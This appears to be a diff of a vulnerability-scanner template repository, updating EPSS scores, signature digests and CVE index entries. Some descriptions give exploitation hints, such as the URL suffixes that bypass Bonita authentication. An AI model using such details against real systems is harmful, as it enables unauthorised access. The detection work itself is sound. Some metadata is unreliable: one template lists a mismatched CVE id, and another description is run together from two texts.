         json:
-          - '.[].projectId'
+          - ".[].projectId"
 
   - engine:
       - sh
@@ -45,11 +45,12 @@ code:
 
     matchers:
       - type: word
+        part: body
         words:
-          - 'default'
+          - '"name": "default"'
 
     extractors:
       - type: dsl
         dsl:
           - '"The default VPC network is in use in project " + projectId'
-# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950

code/cves/2014/CVE-2014-0160.yaml

@@ -10,6 +10,8 @@ info:
     - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
   metadata:
     verified: true
+  classification:
+    epss-score: 0.94462
   tags: cve,cve2014,openssl,heartbleed,code,kev
 
 variables:
@@ -135,4 +137,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 4b0a00483046022100ed75e4d98947fd01fbc7873eeb6436b559a749bb88a5a85f71fef8c2f83f9e48022100cb170dc3f8592781394acbba1560953c29e7b0b1d36c191aee134aa6d178aa74:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022072146a555c1e39921511dd324015ad2f19b58bef855a158d53f18bad4a3068f70221008aea99f59b94f83393eb50e906fb55a005e15f80d20d8502d4a6bbdeea861d8a:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-0604.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-0604
     cwe-id: CWE-20
-    epss-score: 0.94411
+    epss-score: 0.94436
     epss-percentile: 0.99974
   metadata:
     verified: true
@@ -154,4 +154,4 @@ code:
           - 'contains(interactsh_protocol, "dns")'
           - 'contains(interactsh_request, hex_encode(marker))'
         condition: and
-# digest: 4a0a00473045022022019f9c11593b4c5a1f55755d532f6a64858d80153beb783f2c2d61684e0439022100fd41aa3e2ae1ad5d411c2c569383a2498ebf4a48cb1a9cf01f89748879c446c7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b4400e86f6a613a3fec15c78d78b5eaa02c765fc3cd2a0fedae2a3caf6a640f602206838f019d39312a9e53fa6c5595b7ed095cef565d8599f8a9e20273c38886bbe:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -15,7 +15,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2020-0646
     cwe-id: CWE-91
-    epss-score: 0.92775
+    epss-score: 0.93121
     epss-percentile: 0.99755
     cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
   metadata:
@@ -102,4 +102,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 4a0a00473045022100a9c7370f5d64f484afc46075695941e15917d5a0687dd077ae6699501475bc1c02207a3961cc5b43a81ff13243b2dbb044a37081cf76fead5b7be2c772e481685c5c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cb487f0bd652d387ee37c93aeff51bc10e1ee1685ed827748844380e2a1d224802202681a6f09065aa05fe76062fb4b71a801d269cccb60e095d1a1b782981fdff69:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -10,7 +10,7 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2020-13935
-    epss-score: 0.91885
+    epss-score: 0.92195
     epss-percentile: 0.99681
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html

code/cves/2021/CVE-2021-3156.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
-    epss-score: 0.92019
+    epss-score: 0.92263
     epss-percentile: 0.99693
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
@@ -40,4 +40,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 4a0a0047304502203288bc289d0cc0f4e06e605006f21fa1933c3a8a43067f2e9217000a34b340ae022100eb4c9a1fad050dd80783cfcff25e73bc958d1ad84a2f6f09fcbf1c0deebe680c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220156c4b47288c1bd2c345a71670734fd19e48ad7b8e807cf94a55943b470236ae022100b0a5f9dbc02cd24f1b8c73147526a7ad7d50553730b0ecb9325cca9c7b327c6d:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -17,6 +17,7 @@ info:
     - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
     - https://bishopfox.com/blog/exploit-cve-2022-42475
   classification:
+    epss-score: 0.94003
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2024-42475
@@ -173,4 +174,4 @@ code:
       - type: word
         words:
           - "Target appears to be VULNERABLE"
-# digest: 4b0a00483046022100df2185bba8207644d6ccf7a16a4f4fd737eeee1f8bd6f4622ac7049188f5040b022100ef25386cc59ebe43e9f9d3796c23e7edee1e2f34a0d1a88c7318c3180af1f587:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220200109caa2f7e95a45434593458382a6ca875167ade0946689005f9fc29664df0220764ae12713d8cb30e3105165bd261c4564a51b50ee294d63d57ca53aa338374d:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -16,7 +16,7 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.91200
+    epss-score: 0.90996
     epss-percentile: 0.99636
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
@@ -626,4 +626,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4a0a004730450221009fa711a5846a3c93bac4bc69d04eac250dfdf6df030b766ed7e272e1c41e6afd0220383dd08bfdfe5d8ab5f2dc3f9f0c2881b2ab73ec4502c81f92cdf28db1651b82:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207360b6e655f665c3206296d537b3fb08f38c3e75292145fdd0ce7ff3d2ebc4950220555ab766a2fc4290ba5e70aebf3972ec448bbaa7f7ec17857a4d36eb1ce85d0d:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
-    epss-score: 0.86872
+    epss-score: 0.86688
     epss-percentile: 0.99395
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
@@ -90,4 +90,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 490a0046304402204b1fb18af3e1a3a93ddf533a7112f566b1c32c20d54fce52634df059c876cd060220684fd961920c7f143e93d510a7e4219626c8ef2291c908ffecbb8a92171f9185:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d1361a88791cd15ca47fa69ee04109e863d4b64e0ff51fd402aee326f02b3afb022100956866982e3aa3ff3694a645f6b77b7a705056f078771cc8881db8f55acaff45:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.66736
+    epss-score: 0.78156
     epss-percentile: 0.98452
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502207a6e5753b4c34b6c6a6b114a627b1024aea6e7ffaf398b1a92eb895c3a0449b9022100e7d7bde1dcc8c8248fa38491377b58370af797f1769f84f3be87a1fa8e672445:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200467c526f6043a379948d8ced51cc69e62cda1e931a681fe275eb9860d715f37022100f445b6a72ea04c499b20fe826724ee120544d715795d1445709b8145a9895277:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.22699
+    epss-score: 0.26478
     epss-percentile: 0.95613
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 490a004630440220435fc0f1f42662dd77393d370309115320794f7957843c0ff1ef4c0e68d5566402200e729fedbc5915a5e9a5c33cd70ccff6646981ea2ae405bb1341c83e0b228b08:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202186423140cba034149105b6c5f8fae507a03844c26e4329d1f4437abb29e41202201f13cba920b16ae34421b775498e1bca85f7cc6659582da1e8cfbad540281d7c:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -13,7 +13,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.69629
+    epss-score: 0.67637
     epss-percentile: 0.98573
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
@@ -54,4 +54,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 4a0a004730450220238322406ea7b36d09adcd8d11555a98663066124719295b82627c0c6aa649c602210097fd42ed176237bd31b1b6fe4b675eb74f378636c66888f6578c5f20d49e8af4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bc3a13e648e7ec51ac1836066641533bfcdbb2cedab653a2e02b0fd70616fb4602204417a29e0f2a5863f30dfa9119cccd591a4435fcdd7a5ff36a762cbc92812c8b:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-12356.yaml

@@ -13,7 +13,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-12356
     cwe-id: CWE-77
-    epss-score: 0.93590
+    epss-score: 0.93687
     epss-percentile: 0.99831
     cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
   metadata:
@@ -37,4 +37,4 @@ code:
         words:
           - "0 success"
           - "1 try again later"
-# digest: 4a0a00473045022100be13ba221189875a5c3c181eb1e6c5d7c4806c31798dc6f540657279fac5b029022031676609cf3da0030625ce6aac0a33787770a4d084ec52ac9f58d0faa903025f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008fdc45694288c9092a928bc2ba325f5b16bf96f4c94065e7afc046dffccdc7f6022100b3c8af22d05813a12e0a1cc490999e848f91a3bbeb4d9e87bc1e3c1dd6a45c0b:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 10
     cve-id: CVE-2024-3094
     cwe-id: CWE-506
-    epss-score: 0.84011
+    epss-score: 0.84169
     epss-percentile: 0.99254
     cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
   metadata:
@@ -59,4 +59,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4b0a00483046022100f7234c73aae801d78da251277aec0c21a4952b8b344944b3892eee84ec5891ae0221008d992982b582811cdd8173176149ef196cc6f7b672fcf16d10c05aab8badd9db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022058d32a2e8218872afa1f30ea214365196b87480a320425dd7b5082c3a11a01c00221009fb13dcff0743b605d213aee84fdc614cddbb7aa034a6bdfdfb5d6e6af71a8c6:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
-    epss-score: 0.16139
+    epss-score: 0.14907
     epss-percentile: 0.94531
   metadata:
     verified: true
@@ -123,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 490a0046304402201e63c308fefaaa4d4ba99b5a7c2ea3d7dcdf5544dc8d4a1ae1a0fbd532d7241702207232eaea82be593da580ba735e84de2153ee1708552ae08603c4c7237f2e1112:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207fcad984b97d6cf3e7d103a97d8ac0b804375bc62fa335801c66337b72c68cb2022028a34cecc66c0b0b0afdc46859c2675df13bcf803911b3c5b00359239183b814:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
-    epss-score: 0.80857
+    epss-score: 0.7976
     epss-percentile: 0.99096
   metadata:
     verified: true
@@ -193,4 +193,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4b0a00483046022100e75d786df30fc6d158bb38bc2b13a5af3c2e27174c1617fe01b419f3a5d69b57022100840b6aaccec646d85c578e77492eda810bfb731287ba8520e5d657e92f883297:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bedda7807b6e8b1de9d06c3de6965d20f099c71510556bb6cd624a2fad2be0db02207a9e0962a7814c6422cdc32195f4b474081785e386a7578b5a1705d5add154cc:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -10,7 +10,7 @@ info:
     - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
-    epss-score: 0.38910
+    epss-score: 0.3891
     epss-percentile: 0.97110
   metadata:
     verified: true
@@ -188,4 +188,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 4a0a00473045022100d4499f701d4dbaa3fee40a00ced7f7790a94891bc9007aed06b4741a76fd543c0220713f41ccb6c2e702ac3513a926d5308c1077bf3cf7f01d4b049c347bd3dfd7e7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022011426fc5ebeb8774da55b3e13ea70980635eae1dfcdc9265862c83ccee5dd32c022100a3811bfcc159dbc91424ddb31e76806b5b1a64acd73aa014e5f2306f058cb32f:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 9.3
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
-    epss-score: 0.01703
+    epss-score: 0.02296
     epss-percentile: 0.81527
   metadata:
     verified: true
@@ -78,4 +78,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 490a00463044022100be3b0643c89a1ddcd15aa06afc686f3efb80fa245984ce21ca1b4275c74d42a2021f4b0e28ee37a26ab75834991f37b275727fac03c60f0170a2e59e232ae078d8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220235b1de01210fb06562b784c31b9774a385c46ff77e11ce19f1df321822bc3e8022100d6bad0364c99e6c8086521ab2accbb9575b74af87cc682d0d57ef38099fbe991:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.55376
+    epss-score: 0.57377
     epss-percentile: 0.97930
   metadata:
     verified: true
@@ -172,4 +172,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a0047304502207edfd6f617b697c540c8375a5278b5c1016c928b22d041e1dc19ddfdad65d43b022100a4785eb798107b1413fd119e65a851be94361018e5eb785f393d26feed858cc1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e36084dcd9b8fa5347cf8bf47d18d1e3d76a0744981414bbcbc23fd7e702706102204ef22a6591bcc3ee21aee8ed14e150571204b0fda60f783ec25790c083b54e0b:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -15,6 +15,7 @@ info:
     - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
     - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
   classification:
+    epss-score: 0.11118
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-6216
@@ -113,4 +114,4 @@ code:
       - type: dsl  # type of the extractor
         dsl:
           - '"Reset URL: " + code_response'
-# digest: 4a0a00473045022100e16640c86c7d6f0d855aad545c1028cd614abdc1388b9a33da23d66b1d3beddf022010383e6897d82a9fabb755115271a0635ca5ee8a36633e8f1485f601840f5caa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f8903b48a3426223b074cf3692b1d6a29234635491568677b23e79a7e63b8d3c0220607199839279491185e602067f73ce3373035197e4345c24ed28e64259923e79:922c64590222798bb761d5b6d8e72950

cves.json

@@ -1708,7 +1708,7 @@
 {"ID":"CVE-2022-1442","Info":{"Name":"WordPress Metform \u003c=2.1.3 - Information Disclosure","Severity":"high","Description":"WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-1442.yaml"}
 {"ID":"CVE-2022-1574","Info":{"Name":"WordPress HTML2WP \u003c=1.0.0 - Arbitrary File Upload","Severity":"critical","Description":"WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1574.yaml"}
 {"ID":"CVE-2022-1580","Info":{"Name":"Site Offline WP Plugin \u003c 1.5.3 - Authorization Bypass","Severity":"medium","Description":"The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2022/CVE-2022-1580.yaml"}
-{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
+{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
 {"ID":"CVE-2022-1597","Info":{"Name":"WordPress WPQA \u003c5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1597.yaml"}
 {"ID":"CVE-2022-1598","Info":{"Name":"WordPress WPQA \u003c5.5 - Improper Access Control","Severity":"medium","Description":"WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1598.yaml"}
 {"ID":"CVE-2022-1609","Info":{"Name":"The School Management \u003c 9.9.7 - Remote Code Execution","Severity":"critical","Description":"The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1609.yaml"}
@@ -1804,6 +1804,7 @@
 {"ID":"CVE-2022-25149","Info":{"Name":"WordPress Plugin WP Statistics \u003c= 13.1.5 - SQL Injection","Severity":"high","Description":"The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-25149.yaml"}
 {"ID":"CVE-2022-25216","Info":{"Name":"DVDFab 12 Player/PlayerFab - Local File Inclusion","Severity":"high","Description":"DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-25216.yaml"}
 {"ID":"CVE-2022-25226","Info":{"Name":"ThinVNC - Authentication Bypass","Severity":"critical","Description":"ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2022/CVE-2022-25226.yaml"}
+{"ID":"CVE-2022-25237","Info":{"Name":"Bonita Web 2021.2 - Authentication/Authorization Bypass","Severity":"critical","Description":"Bonita Web 2021.2 contains an authentication/authorization bypass vulnerability caused by an overly broad exclude pattern in RestAPIAuthorizationFilter, allowing unauthenticated users to access privileged API endpoints by appending ;i18ntranslation or /../i18ntranslation/ to the URL.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-25237.yaml"}
 {"ID":"CVE-2022-25323","Info":{"Name":"ZEROF Web Server 2.0 - Cross-Site Scripting","Severity":"medium","Description":"ZEROF Web Server 2.0 allows /admin.back cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-25323.yaml"}
 {"ID":"CVE-2022-2535","Info":{"Name":"SearchWP Live Ajax Search \u003c 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure","Severity":"medium","Description":"The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2535.yaml"}
 {"ID":"CVE-2022-25356","Info":{"Name":"Alt-n/MDaemon Security Gateway \u003c=8.5.0 - XML Injection","Severity":"medium","Description":"Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-25356.yaml"}
@@ -2656,6 +2657,7 @@
 {"ID":"CVE-2024-20419","Info":{"Name":"Cisco SSM On-Prem \u003c= 8-202206 - Password Reset Account Takeover","Severity":"critical","Description":"A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-20419.yaml"}
 {"ID":"CVE-2024-20439","Info":{"Name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","Severity":"critical","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-20439.yaml"}
 {"ID":"CVE-2024-20440","Info":{"Name":"Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials","Severity":"high","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-20440.yaml"}
+{"ID":"CVE-2024-2053","Info":{"Name":"Artica Proxy  - Unauthenticated LFI","Severity":"high","Description":"The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the \"www-data\" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the \"www-data\" user.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2053.yaml"}
 {"ID":"CVE-2024-20767","Info":{"Name":"Adobe ColdFusion - Arbitrary File Read","Severity":"high","Description":"ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary file system write. Exploitation of this issue does not require user interaction.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2024/CVE-2024-20767.yaml"}
 {"ID":"CVE-2024-21136","Info":{"Name":"Oracle Retail Xstore Suite - Pre-authenticated Path Traversal","Severity":"high","Description":"Vulnerability in the Oracle Retail Xstore Office product of Oracle Retail Applications (component: Security). Supported versions that are affected are 19.0.5, 20.0.3, 20.0.4, 22.0.0 and 23.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Retail Xstore Office. While the vulnerability is in Oracle Retail Xstore Office, attacks may significantly impact additional products (scope change).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-21136.yaml"}
 {"ID":"CVE-2024-21485","Info":{"Name":"Dash Framework - Cross-site Scripting","Severity":"medium","Description":"Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2024/CVE-2024-21485.yaml"}
@@ -2745,7 +2747,7 @@
 {"ID":"CVE-2024-31850","Info":{"Name":"CData Arc \u003c 23.4.8839 - Path Traversal","Severity":"high","Description":"A path traversal vulnerability exists in the Java version of CData Arc \u003c 23.4.8839 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-31850.yaml"}
 {"ID":"CVE-2024-31851","Info":{"Name":"CData Sync \u003c 23.4.8843 - Path Traversal","Severity":"high","Description":"A path traversal vulnerability exists in the Java version of CData Sync \u003c 23.4.8843 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-31851.yaml"}
 {"ID":"CVE-2024-31982","Info":{"Name":"XWiki \u003c 4.10.20 - Remote code execution","Severity":"critical","Description":"XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-31982.yaml"}
-{"ID":"CVE-2024-32113","Info":{"Name":"Apache OFBiz Directory Traversal - Remote Code Execution","Severity":"high","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 18.12.13\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32113.yaml"}
+{"ID":"CVE-2024-32113","Info":{"Name":"Apache OFBiz Directory Traversal - Remote Code Execution","Severity":"high","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-32113.yaml"}
 {"ID":"CVE-2024-32231","Info":{"Name":"Stash \u003c 0.26.0 -  SQL Injection","Severity":"critical","Description":"Stash up to v0.25.1 was discovered to contain a SQL injection vulnerability via the sort parameter.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32231.yaml"}
 {"ID":"CVE-2024-32238","Info":{"Name":"H3C ER8300G2-X - Password Disclosure","Severity":"critical","Description":"H3C ER8300G2-X is vulnerable to Incorrect Access Control. The password for the router's management system can be accessed via the management system page login interface.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-32238.yaml"}
